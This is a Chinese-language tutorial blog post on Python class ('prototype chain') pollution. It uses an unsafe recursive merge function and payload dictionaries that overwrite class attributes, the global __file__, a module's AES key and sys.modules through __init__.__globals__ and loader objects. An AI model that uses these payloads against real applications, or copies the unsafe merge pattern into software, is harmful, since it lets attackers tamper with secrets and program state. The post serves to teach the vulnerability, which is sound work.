初探Python原型链污染

漏洞成因

关键代码

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):#判断dst中是否含有魔术方法__getitem__
if dst.get(k) and type(v) == dict:#判断dst[k]是否存在,且内容v是否为字典
merge(v, dst.get(k))#递归合并
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:#判断dst中是否有k这个属性且v为字典
merge(v, getattr(dst, k))#递归合并
else:
setattr(dst, k, v)#如果dst中既没有对应的键 k,也没有与键 k 同名的属性,则直接使用 setattr 将属性 k 设置为值 v。

污染类属性

class father:
secret = "hello"
class son_a(father):
pass
class son_b(father):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "world"
}
}
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
print(son_a.secret)
#world
print(instance.secret)
#world

这就是一个简单的原型链污染,这个过程相当于

instance.__class__.__base__.secert=world

值得注意的是,object是无法被污染的。

污染全局变量

在python的全局命名空间中,有一个叫__file__的变量,可以用它来获取文件的路径。

print(__file__)

# D:\python_file\test.py

通过原型链污染也可以修改这个全局变量

class cls():
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

payload = {
"__init__": {
"__globals__":
{"__file__": "/flag"}
}
}

instance = cls()
print(__file__)
merge(payload,instance)
print(__file__)

__globals__是一个特殊的属性,可以用来获取当前模块或函数的全局变量字典。__file__当然也在里面。

Python中的每一个函数都拥有一个__globals__属性,或者叫字典变量。

Python的命名空间

在 Python 中,命名空间(Namespace)是一个将名称(变量、函数、类等)与对应对象(值)关联起来的机制。它可以理解为一个容器,保存着当前环境中的所有变量名以及它们对应的值,包含已经实例化的对象。通过命名空间,Python 能够确保不同名称不会发生冲突,帮助我们在代码中区分不同作用域的变量。

其实常说的作用域可以理解为命名空间,局部变量对应着局部作用域,也就是局部命名空间。只不过命名空间这个词相比较作用域,除了变量,可能还包含函数,类等。

一般的,要得到模块级别(可以简单理解为当前文件)的全局命名空间,有三种方法。

  1. golbals()函数

    # 使用 globals() 获取当前模块的全局命名空间
    global_vars = globals()
    for name, value in global_vars.items():
    print(name, ":", value)
  2. 函数的__globals__属性

    def my_function():
    pass

    # 使用函数的 __globals__ 属性获取全局命名空间
    global_vars = my_function.__globals__
    for name, value in global_vars.items():
    print(name, ":", value)
  3. 模块对象的__dict__属性

    每个模块对象也有一个 __dict__ 属性,它是一个字典,包含该模块的所有全局变量和定义。可以通过 sys.modules 获取当前模块,然后使用其 __dict__ 来访问全局命名空间。

    import sys

    # 通过模块的 __dict__ 属性获取全局命名空间
    global_vars = sys.modules[__name__].__dict__
    for name, value in global_vars.items():
    print(name, ":", value)

既然可以污染当前命名空间的全局变量,模块也在当前命名空间中,所以理所应当的也可以被污染。

import math
import sys
import flask
import sj1t

class a:
def __init__(self):
pass
ins = a()

_ = a.__init__.__globals__.copy()
for i,j in _.items():
print(i,':',j)

# __name__ : __main__
# __doc__ : None
# __package__ : None
# __loader__ : <_frozen_importlib_external.SourceFileLoader object at 0x0000011E59D46D00>
# __spec__ : None
# __annotations__ : {}
# __builtins__ : <module 'builtins' (built-in)>
# __file__ : D:\\xxx\\test.py
# __cached__ : None
# math : <module 'math' (built-in)>
# sys : <module 'sys' (built-in)>
# flask : <module 'flask' from 'D:\\Python3.9.7\\lib\\site-packages\\flask\\__init__.py'>
# sj1t : <module 'sj1t' from 'D:\\xxx\\sj1t\\__init__.py'>
# a : <class '__main__.a'>
# ins : <__main__.a object at 0x0000011E5A139E50>

污染模块中的属性

例题

main.py

import sj1t

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class laoda:
def __init__(self):
pass

man = laoda()

payload = {
'__init__':{
'__globals__':
{'sj1t':
{'key':
{'aeskey':'123123123'}
}
}
}
}
print(man.__init__.__globals__['sj1t'].key().aeskey)

merge(payload, man)

print(man.__init__.__globals__['sj1t'].key().aeskey)

# qFxLMdW5Oa48MMBx
# 123123123

sj1t __init__.py

class key():
aeskey = 'qFxLMdW5Oa48MMBx'

可以发现类属性已经被污染了,后续此类的所有实例化属性都会带上这个被污染后的类属性,经过实验第三方库的类属性也可以被污染,但是内置模块的类属性不能被污染。同样的,也可以污染已经实例化的对象的实例属性。已经被实例化的实例也在全局命名空间中。

但是污染对象的属性并不会因此影响到其他已经实例化或者即将实例化的对象。

sys模块加载获取

在许多的环境中导入模块并不是简单的利用import进行导入同级目录下的文件,更多的是利用内置模块进行导入。这时候我们就无法简单的利用上面的payload进行重定向了,我们需要使用sys这个模块进行定向。
sys模块中有一个modules属性,这个属性可以加详细这个程序运行时导入的所有模块。所有我们可以通过他来进行重定向。

{"__init__":{"__globals__":{"sys":{"modules":{"DEMO":{"a":2}}}}}}

获取sys模块

我们知道了可以使用sys模块来重定位,但是我相信我们都有一个疑问就是如何获取sys模块。

通过加载器loader获取sys

我们可以通过loader加载器来获取sys模块的
loader加载器在python中的作用是为实现模块加载而设计的类,其在importlib这一内置模块中有具体实现。而importlib模块下所有的py文件中均引入了sys模块,这样我们和上面的sys模块获取已加载模块就联系起来了,所以我们的目标就变成了只要获取了加载器loader,我们就可以通过loader.__init__.__globals__['sys']来获取到sys模块,然后再获取到我们想要的模块。
那么现在我们的问题就是如何获取loader模块。
在Python中,loader是一个内置的属性,包含了加载模块的loader对象,Loader对象负责创建模块对象,通过loader属性,我们可以获取到加载特定模块的loader对象。
loader获取到sys

1.<模块名>.__spec__.__init__.__globals__['sys']获取到sys模块
2.<模块名>.__spec__.loader.__init__.__globals__['sys']

参考:

https://lisien11.github.io/2024/03/09/%E5%88%9D%E6%8E%A2python%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93

https://xz.aliyun.com/t/13072

https://www.cnblogs.com/gxngxngxn/p/18205235